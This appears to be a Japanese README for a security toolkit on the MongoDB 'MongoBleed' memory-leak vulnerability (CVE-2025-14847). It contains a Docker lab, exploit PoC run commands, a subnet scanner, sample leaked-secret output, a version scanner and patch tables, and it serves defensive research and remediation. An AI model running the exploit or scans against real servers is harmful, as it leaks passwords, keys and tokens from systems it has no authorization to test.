
Explot、Lab、Scanner - 外部およびDockerコンテナ、SMongobleed-CVE-2025-14847およびphoenix security uploader用
CVE-2025-14847 | CVSS 8.7 (High) | 認証なしメモリ開示
CVE-2025-14847 は MongoBleed と呼ばれ、MongoDB の zlib 伸張ロジックを悪用することで、認証されていないリモート攻撃者が初期化されていないヒープメモリを漏えいさせることを可能にします。この高深刻度の脆弱性は、平文の認証情報やセッショントークンなどの機密情報を露出させ、横展開とサーバー完全乗っ取りへのロードマップを提供します。
| 項目 | 詳細 |
|---|---|
| 脆弱なもの | zlib圧縮を使用する MongoDB Server のネットワーク転送層 |
| 深刻度 | High (CVSS 8.7/7.5) |
| 影響 | 認証なしでの、初期化されていないヒープメモリのリモート開示 |
| 重要視される理由 | 漏えいした断片には、データベースのパスワード、AWSシークレットキー、内部サーバー状態が含まれる |
| エクスプロイト状況 | パブリックな Proof-of-Concept (PoC) "mongobleed" が検証され、流通している |
| 今日やるべきこと | パッチ適用済みバージョンに直ちにアップグレードするか、zlib圧縮を無効化する |
この脆弱性は MongoDB のネットワーク転送層 (message_compressor_zlib.cpp) に存在し、zlib 伸張ロジックの重大な欠陥により、認証されていない攻撃者がサーバーの機密メモリを漏えいさせることができます。
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| 日付 | イベント |
|---|---|
| 2025年12月15日 | 脆弱性を特定、内部チケット SERVER-115508 |
| 2025年12月19日 | 修正をリリース、CVE-2025-14847 を公開 |
| 2025年12月24日 | MongoDB Atlas フリートにパッチ適用 |
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
すべてのスキャナーは、Phoenix Security プラットフォームへの検出結果のアップロードに対応しています:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ 重要: このツールキットは、許可されたセキュリティテストおよび研究目的でのみ提供されます。
許可されたセキュリティテスト専用です。責任を持って使用してください。
最終更新: 2025年12月
| バージョン | 脆弱な範囲 | 修正バージョン | ステータス |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 | ✅ パッチ済み |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 | ✅ パッチ済み |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 | ✅ パッチ済み |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 | ✅ パッチ済み |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 | ✅ パッチ済み |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 | ✅ パッチ済み |
| 4.2.x | 全バージョン | なし | ⚠️ サポート終了 |
| 4.0.x | 全バージョン | なし | ⚠️ サポート終了 |
| 3.6.x | 全バージョン | なし | ⚠️ サポート終了 |
| 2025年12月26日 | パブリック PoC "mongobleed" を公開 |
| 2025年12月28日 | 実環境での悪用を確認 |
| ドキュメント | 説明 |
|---|
| DOCUMENTATION.md | 完全なプロジェクトドキュメント |
| TECHNICAL_ANALYSIS.md | 詳細な脆弱性分析 |
| QUICK_COMMANDS.md | コピー&ペースト可能なコマンド |
| exploit/README.md | エクスプロイトラボのドキュメント |
| scanner/README.md | ネットワークスキャナーのドキュメント |
| code-scan/README.md | コードスキャナーのドキュメント |